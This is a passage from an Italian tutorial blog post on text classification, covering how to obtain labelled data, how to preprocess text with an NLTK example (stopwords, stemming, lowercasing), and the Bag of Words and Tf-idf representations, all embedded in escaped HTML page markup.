di dati etichettati grazie al lavoro svolto in passato dagli utenti, piuttosto che dagli addetti al task.&lt;br/&gt;
Pensiamo al task di Ticket Classification.&lt;br/&gt;
Se l&amp;#x27;obiettivo è realizzare un modello di Machine Learning in grado di classificare ticket di supporto rispetto
alla loro categoria, devo avere a disposizione un dataset di ticket passati, etichettati con le rispettive categorie. &lt;br/&gt;
Potrei reperire facilmente questi dati utilizzando tutti i ticket passati che gli addetti hanno già associato alle relative categorie quando
hanno svolto questo lavoro &amp;quot;a mano&amp;quot; per indirizzare il ticket al reparto o alla persona di competenza.
In un contesto di questo tipo mi basta reperire i dati e porli in una forma leggibile ed utilizzabile per l&amp;#x27;addestramento. Tipicamente un file &lt;strong&gt;csv&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Qualora non si abbiano a disposizione dati etichettati, e quindi si sia in possesso solo dei contenuti testuali da utilizzare per l&amp;#x27;addestramento,
allora si può far ricorso ad annotatori testuali per etichettare in maniera agile ed efficiente i dati.&lt;br/&gt;
&lt;a href=&quot;https://github.com/doccano/doccano&quot;&gt;&lt;strong&gt;Doccano&lt;/strong&gt;&lt;/a&gt;, ad esemnpio, è un&amp;#x27;annotatore ben strutturato e open source.&lt;br/&gt;
Un altro annotatore, questo a pagamento, è  &lt;a href=&quot;https://prodi.gy/&quot;&gt;&lt;strong&gt;Prodigy&lt;/strong&gt;&lt;/a&gt;. Si tratta di un annotatore avanzato e potenziato attraverso
il concetto di active learning; è sviluppato da &lt;a href=&quot;https://explosion.ai/&quot;&gt;Explosion.ai&lt;/a&gt;,
creatori della libreria opensource di NLP &lt;a href=&quot;https://spacy.io/&quot;&gt;&lt;strong&gt;Spacy&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Una volta annotati i dati possono essere facilmente esportati in formato &lt;strong&gt;csv&lt;/strong&gt; per poi essere letti e manipolati
attraverso librerie ad hoc come &lt;a href=&quot;https://pandas.pydata.org/&quot;&gt;&lt;em&gt;Pandas&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;h1 id=&quot;preprocessing-e-trasformazione-dei-dati&quot;&gt;Preprocessing e trasformazione dei dati&lt;/h1&gt;&lt;h2 id=&quot;1-preprocessing-e-pulizia-del-testo&quot;&gt;1. Preprocessing e pulizia del testo&lt;/h2&gt;&lt;p&gt;L&amp;#x27;attività di trasformazione e preprocessing dei dati è molto importante in qualsiasi task di Machine Learning, ma nel contesto della classicazione
testuale e più in generale dell&amp;#x27;elaborazione del linguaggio naturale è molto rilevante.&lt;/p&gt;&lt;p&gt;Un contenuto testuale generalmente contiene molta informazione al suo interno, e non tutta quest&amp;#x27;informazione è rilevante ai fini della classificazione
da svolgere.&lt;br/&gt;
Gran parte del contenuto testuale molto spesso non ha alcuna rilevanza nel risultato prodotto; in alcune occasioni può rappresentare invece
rumore che va a distorcere la classificazione prodotta dal modello.&lt;br/&gt;
Ad esempio nel contesto della Sentiment Analysis, in una recensione, posso trovare aggettivi come &lt;em&gt;ottimo&lt;/em&gt; piuttosto che &lt;em&gt;pessimo&lt;/em&gt; che hanno un
peso specifico nell&amp;#x27;individuazione del sentiment del contenuto. Altri termini invece non dicono nulla in tal senso. &lt;/p&gt;&lt;p&gt;Inoltre nel linguaggio naturale un concetto può essere espresso con termini che hanno stessa radice ma declinazione differente. Quei termini rappresentano
lo stesso concetto, ma avendo una declinazione differente il modello di Machine Learning potrebbe fare difficoltà a comprendere che si tratta di un concetto similare
a quanto già visto.&lt;br/&gt;
E anche la punteggiatura, molto spesso introduce solo rumore nell&amp;#x27;analisi del testo.&lt;/p&gt;&lt;p&gt;Per tutti questi motivi è molto importante svolgere delle attività di preprocessing del testo in modo da minimizzare il più possibile tutti gli effetti
non desiderati causati da informazione non rilevante presente nel testo.&lt;/p&gt;&lt;p&gt;Queste attività possono essere di diverso tipo e legate profondamente al task che si sta svolgendo. Esistono comunque delle attività di preprocessing che
vengono svolte quasi sempre quando si approccia a task di nlp.&lt;/p&gt;&lt;p&gt;Una prima attività molto semplice è quella di &lt;a href=&quot;https://it.wikipedia.org/wiki/Token_(testo)&quot;&gt;&lt;strong&gt;tokenizzazione&lt;/strong&gt;&lt;/a&gt; del testo.&lt;br/&gt;
A seguire possono essere svolte le seguenti azioni:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Rimuovere le stopwords&lt;/strong&gt;: eliminare dal testo tutte quelle parti del discorso che nell&amp;#x27;ambito di un linguaggio non rappresentano solitamente informazione
rilevante, come gli articoli, le proposizioni, le congiunzioni, ecc... Inoltre quest&amp;#x27;attività può essere svolta facendo stopping sulla base di una
propria lista di parole da rimuovere, realizzata in base al contesto e al tipo di dominio su cui si sta lavorando.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Rimuovere la punteggiatura&lt;/strong&gt;: la punteggiatura quasi mai rappresenta informazione rilevante e quindi è meglio rimuoverla&lt;/li&gt;&lt;/ul&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1174px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/ce89faede85333e4a95bb26990b4b42c/04784/prep1.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:44.99999999999999%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;180\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20180\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M159%2010c2%208%203%209%205%204l1-3v3c1%204%203%204%205-1%201-3%201-3%201-1%200%205%206%207%208%203%201-5-2-8-6-6h-2c0-2-2-1-3%202v4l-2-4-1-3-2%203-2%203v-3l-2-3v2m145%20127l38%201%2037-1-37-1-38%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/ce89faede85333e4a95bb26990b4b42c/c85cb/prep1.webp 300w,/static/ce89faede85333e4a95bb26990b4b42c/e88ff/prep1.webp 600w,/static/ce89faede85333e4a95bb26990b4b42c/963af/prep1.webp 1174w&quot; sizes=&quot;(max-width: 1174px) 100vw, 1174px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/ce89faede85333e4a95bb26990b4b42c/5a46d/prep1.png 300w,/static/ce89faede85333e4a95bb26990b4b42c/0a47e/prep1.png 600w,/static/ce89faede85333e4a95bb26990b4b42c/04784/prep1.png 1174w&quot; sizes=&quot;(max-width: 1174px) 100vw, 1174px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 3 - Rimozione stopwords e punteggiatura&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/ce89faede85333e4a95bb26990b4b42c/04784/prep1.png&quot; title=&quot;Figura 3 - Rimozione stopwords e punteggiatura&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 3 - Rimozione stopwords e punteggiatura&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://it.wikipedia.org/wiki/Stemming&quot;&gt;&lt;strong&gt;Stemming&lt;/strong&gt;&lt;/a&gt;: lo stemming è un processo molto comune nei motori di ricerca che consiste nel ridurre
un termine dalla forma flessa alla sua radice, con l&amp;#x27;obiettivo di minimizzare l&amp;#x27;effetto della presenza di variazioni morfologiche differenti
che hanno però lo stesso significato semantico.
Esistono due approcci per fare stemming. Un primo basato su dizionario, similmente a quanto avviene per l&amp;#x27;attività di rimozione delle stopwords.
Un secondo di tipo algoritmico basato su regole, ad esempio lo &lt;a href=&quot;https://tartarus.org/martin/PorterStemmer/&quot;&gt;Stemmer di Porter&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Lowercasing&lt;/strong&gt;: trasformare tutto il testo in carattere minuscolo in modo da evitare differenziazioni in base al carattere&lt;/li&gt;&lt;/ul&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1073px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/b30898bfad0e0549652f32a212eb2826/e24fe/prep2.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:51%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;204\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20204\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M317%20140l-2%202-3%201h-2c-1-2-5-1-6%201s-2%203-3%202c-2-2-3-3%200-3%201-1%201-1-1-1-3%200-4%202-1%204s3%203%200%203h-2c0%202%205%201%205-1h2c1%202%206%203%206%201l-2-1c-3%201-3-2%200-2%202-1%203%200%203%202l4%202c3%200%203%200%203-6v-6l-1%202\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/b30898bfad0e0549652f32a212eb2826/c85cb/prep2.webp 300w,/static/b30898bfad0e0549652f32a212eb2826/e88ff/prep2.webp 600w,/static/b30898bfad0e0549652f32a212eb2826/e9b9c/prep2.webp 1073w&quot; sizes=&quot;(max-width: 1073px) 100vw, 1073px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/b30898bfad0e0549652f32a212eb2826/5a46d/prep2.png 300w,/static/b30898bfad0e0549652f32a212eb2826/0a47e/prep2.png 600w,/static/b30898bfad0e0549652f32a212eb2826/e24fe/prep2.png 1073w&quot; sizes=&quot;(max-width: 1073px) 100vw, 1073px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 4 - Stemming e lowercasing&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/b30898bfad0e0549652f32a212eb2826/e24fe/prep2.png&quot; title=&quot;Figura 4 - Stemming e lowercasing&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 4 - Stemming e lowercasing&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Le librarie di NLP come &lt;a href=&quot;https://www.nltk.org/&quot;&gt;Nltk&lt;/a&gt; o &lt;a href=&quot;https://spacy.io/&quot;&gt;Spacy&lt;/a&gt; offrono funzionalità già definite per svolgere queste attività.&lt;br/&gt;
Vediamo ad esempio come svolgere queste attività attraverso Nltk.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;0&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; nltk.corpus &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; stopwords  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; nltk.tokenize &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; word_tokenize&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; nltk.stem &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; PorterStemmer &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;example_sent = &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;&amp;quot;&amp;quot;This is a sample sentence, &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk8&quot;&gt;                  showing off the stop words filtration.&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# stopwords list &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;stop_words = &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(stopwords.words(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;english&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# stemmer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;ps = PorterStemmer() &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# tokenization&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;word_tokens = word_tokenize(example_sent)  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# stoppping&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;filtered_sentence = [w &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; w &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; word_tokens &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;not&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; w &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; stop_words]  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# stemming&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;stemmed_sentence = [ps.stem(w) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; w &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; filtered_sentence]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(word_tokens)  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(filtered_sentence)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(stemmed_sentence)  &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 1 - Preprocessing del testo&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h2 id=&quot;2-trasformazione-del-testo&quot;&gt;2. Trasformazione del testo&lt;/h2&gt;&lt;p&gt;Una volta terminate le attività di preprocessing sul testo, segue un passo importante che è quello della trasformazione dei contenuti in una forma
tale da poter essere data in input agli algoritmi di Machine Learning.&lt;br/&gt;
Gli algoritmi non sono in grado di analizzare direttamente le parole testuali, e quindi va svolta un&amp;#x27;attività di trasformazione in una rappresentazione
numerica e/o vettoriale.&lt;/p&gt;&lt;p&gt;Esistono diversi metodi per rappresentare i contenuti testuali. Ognuna di queste rappresentazioni utilizza il concetto di vocabolario.
Vediamo quali sono e come funzionano.&lt;/p&gt;&lt;h3 id=&quot;bag-of-words&quot;&gt;Bag of Words&lt;/h3&gt;&lt;p&gt;Il modello &lt;a href=&quot;https://it.wikipedia.org/wiki/Modello_della_borsa_di_parole&quot;&gt;&lt;strong&gt;Bag of Words&lt;/strong&gt;&lt;/a&gt; consiste in una rappresentazione vettoriale
dove ogni contenuto testuale viene trasformato in un vettore V-dimensionale, con V che rappresenta la cardinalità del vocabolario.
In particolare avremo che ogni componente del vettore assumerà valor uguale a zero, qualora il termine non è presente, altrimenti un valore corrispondente
al numero di occorrenze di quel termine nel testo.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:270px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/86759365b69d7e20e28699da2ac86a6e/01bf6/bow.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:86.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;347\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20347\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M48%2059v27h108V32H48v27m110%200v27h67V32h-67v27m69%200v27h68V32h-68v27m70%200v27h69V32h-69v27m-130-6l-1%209%201%207h4c6%200%209-2%209-5l2%201c2%205%209%206%2010%202%201-2%201-2%203%201%204%203%2010%201%2010-3%200-2-2-1-4%201-1%202-4%200-5-3%200-3%203-5%205-3%203%202%204%201%203-1-2-3-7-3-9%200l-2%202-1-2c-1-2-7-3-9%200-2%201-2%201-3-2l-3-4h-10m71%200l-1%208v8h5c8%200%2012-9%206-14-2-3-9-4-10-2m70%200l-1%208v8h5c8%200%2012-9%207-15-3-2-10-3-11-1m-55%205l-1%206c1%206%208%208%2011%202%201-2%201-2%201%200%202%205%2011%204%2011-1%200-1-1-1-3%201-3%203-7-1-5-5%201-2%202-2%205-1%202%202%204%201%202-2-2-2-8-1-9%202l-1%202-1-2c-2-3-8-4-10-2m70%201c-4%207%203%2014%208%209%203-3%203-3%204-1%202%203%206%203%208%201%203-3%202-5-1-2-3%202-5%201-5-3%200-3%202-5%204-3s4%201%203-1-6-3-8%200h-4c-2-3-8-2-9%200M48%20115v26h108V88H48v27m0%2055v26h108v-53H48v27m204-6l-1%203h2c1-3%205-3%205%200l-2%202-2%201%202%201c2%201%203%205%200%205-1%201-2%200-3-1-2-2-4-1-2%202%201%202%206%203%208%200h4c4%204%2013-1%209-5v-5c0-2%200-3-3-4s-7%201-7%204h3c0-3%205-2%205%200%200%200-1%202-3%202l-2%201%202%201c3%201%204%204%201%205-3%202-8-4-8-8%200-6-4-8-8-4m78-1c-6%202-5%2016%202%2016%205%200%207-12%203-15-3-2-3-2-5-1m-224%202l-2%202c-2%200-3%201-3%205%200%203-1%205-2%205-2%200-3-2-2-4v-4c-1-4-3-2-3%203%200%206%202%207%207%206%203%200%203%200%203-5l1-5%201%204c0%204%201%207%203%207v-14h-3m8%203c-4%204-2%2011%203%2011%203%200%206-4%206-6%200-6-6-9-9-5m-66%2057v26h108v-53H48v27m141-7c-2%201-4%206-4%209%202%2010%2012%209%2012-1%200-7-3-10-8-8m63%201l-1%203h2c1-2%205-3%205%200l-2%202-2%201%202%201c3%201%203%205%200%205-2%200-3-1-3-2-1-1-3-1-3%201%200%204%207%205%209%202%202-2%202-2%204%200%204%204%2011%201%209-5v-5c0-4-4-6-7-4s-4%203-2%205l2-1c0-1%201-2%203-2%203%200%202%203-1%204l-2%201%202%201c4%201%204%205%200%205l-3-1-1-2c-1%201-3-2-3-6%200-5-4-7-8-3m82%200c-4%203-2%209%203%209l3%201c0%202-3%202-5%201-3-1-4%201-1%203%204%203%209-1%209-7%200-8-4-11-9-7m-194%205c-3%204-2%208%203%209%203%202%205%200%206-5%200-6-5-9-9-4m-92%2056v27h108v-55H48v28m34%201v8l4%201c3%200%207-2%207-5l1%201c3%204%208%205%2010%202%202-2%201-2-2-1-2%201-5%201-5-1l4-1c4%200%204%200%204-2%200-6-7-7-10-2l-1%202-2-2c-1-3-2-3-6-3l-2-2-1-2c-1-1-1%202-1%207m177-7l-3%205c-2%208%205%2015%209%209%205-6%200-16-6-14\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/86759365b69d7e20e28699da2ac86a6e/3e767/bow.webp 270w&quot; sizes=&quot;(max-width: 270px) 100vw, 270px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/86759365b69d7e20e28699da2ac86a6e/01bf6/bow.png 270w&quot; sizes=&quot;(max-width: 270px) 100vw, 270px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 5 - Bag of Words&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/86759365b69d7e20e28699da2ac86a6e/01bf6/bow.png&quot; title=&quot;Figura 5 - Bag of Words&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 5 - Bag of Words&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h3 id=&quot;tf-idf&quot;&gt;Tf-idf&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://it.wikipedia.org/wiki/Tf-idf&quot;&gt;&lt;strong&gt;Tf-Idf&lt;/strong&gt;&lt;/a&gt; sta per Term Frequency/Inverted Document Frequency.
Si tratta di una rappresentazione vettoriale similare a quella del metodo Bag of Words,
ma per i termini presenti nel testo, piuttosto che il numero di occorrenze, viene utilizzato questo valore Tf-Idf definito come il rapporto tra la
Term Frequency e la Inverse Document Frequency.
La Term Frequency è la frequenza del termine all&amp;#x27;interno del documento.
La Inverse Document Frequency è una misura di quanto il termine occorre all&amp;#x27;interno dell&amp;#x27;intero corpus(in quanti documenti essenzialmente).
Rispetto al modello Bag of Words questa rappresentazione quindi enfatizza i termini &amp;quot;rilevanti&amp;quot; come quelli che:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;appaiono frequentemente in un documento (&amp;quot;common locally&amp;quot;)&lt;/li&gt;&lt;li&gt;appaiono frequentemente nel corpus (&amp;quot;rare globally&amp;quot;)
Questa rappresentazione, date queste caratteristiche, è quindi sempre preferita a quella Bag of Words, più semplice e quindi meno carica di significato.&lt;/li&gt;&lt;/ul&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:243px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/1f65f7eafee95d36f209716ff487ec41/8aea6/tf-idf.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:107.81893004115226%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;431\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20431\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M27%20100v29h153V70H27v30m155%200v29h96V70h-96v30m99%200v29h98V70h-98v30m-52-8l-1%202c0%202-1%202-3%202-3%200-4%201-5%202-4%206-1%2013%205%2012l5-1%201-9c0-8-1-10-2-8m6%200l-1%202-1%202v2l1%206c0%204%200%205%202%205l1-5%201-5c1-1%201%201%201%204v6l2%201c1%200%202-1%201-5l-1-7c-2%200-4-3-3-4l1-2h-4m96%202c0%202%200%202-3%202-5%200-7%203-7%207%200%205%202%207%208%207h4v-10l-1-9-1%203M72%2098c-4%204-1%2012%204%2012%203%200%205-2%206-7%200-6-6-10-10-5m20-1c0%203%200%2013%202%2013l1-5c0-4%202-8%204-7v6c0%203%201%205%202%205%202%200%202-1%202-5l1-5c3-1%203%200%203%205%200%204%200%205%202%205s2-1%202-4c0-8-1-9-10-9l-9%201m41%201c-6%205-1%2014%206%2011%203-1%205-7%202-11-1-2-6-3-8%200M27%20161v30h153v-60H27v30m183-7c-1%201-2%202-2%205v6c-2%204%205%208%2010%204%202-1%203-5%201-7v-3c1-6-4-9-9-5m33%200c-3%204-3%2012%200%2015%204%204%2010%201%2010-5%200-3-4-6-7-5-3%200-2-2%200-3h4c1%202%202%202%203%201%200-1-3-5-6-5l-4%202m88-1c-5%203-5%2015-1%2017%206%203%2012-2%209-7-2-3-5-5-7-4-3%201-3-1%200-3h4c3%202%204%200%201-2s-3-2-6-1m-75%203c-2%205-1%206%203%206%204-1%206%201%205%204-1%202-6%203-6%201-1-2-4-3-4-1s4%205%207%205c8%200%208-11%200-13-4%200-3-3%201-3l3-1-4-1c-3%200-4%200-5%203m87-2l-2%204v4h3c5-1%207%201%206%204-1%202-6%203-7%201-1-3-2-2-2%200%201%203%205%205%209%203%205-3%203-12-3-12l-2-1c0-1%201-2%203-2l3-1h-8m-242%205c-1%202%200%203%202%201l3-1c2%201%202%203%200%203s-7%203-7%205%204%204%208%204l4-1v-5l-1-7c-2-2-8-1-9%201m-74%2064v29h153v-59H27v30m178-7c-4%201-6%2012-2%2015%202%202%207%203%209%201%204-4-1-12-6-10l-2-1%201-3%205%201h3c0-2-5-5-8-3m32%201l-2%203c0%201%203%201%203-1%201-2%205-1%206%201%200%201-1%203-4%204-4%203-6%207-5%208h12l-4-1c-6%200-6-1-1-4l4-4%202-2%203-2c1-2%206-1%206%201l-3%202-2%202%202%201c4%201%204%205%200%206l-4-2c-2-3-4-1-2%202s9%203%2011-1v-9c0-3%200-4-2-5-4-2-8-1-9%202%200%202%200%202-3%200-2-3-5-4-8-1m73%200c-2%201-2%202-2%204%201%201%201%201%203-1%201-2%205-3%205%200%201%201%200%203-5%207-5%203-4%205%202%206l6-1c1-1%200-1-5-1-4%200-4-1%201-4%205-4%206-8%203-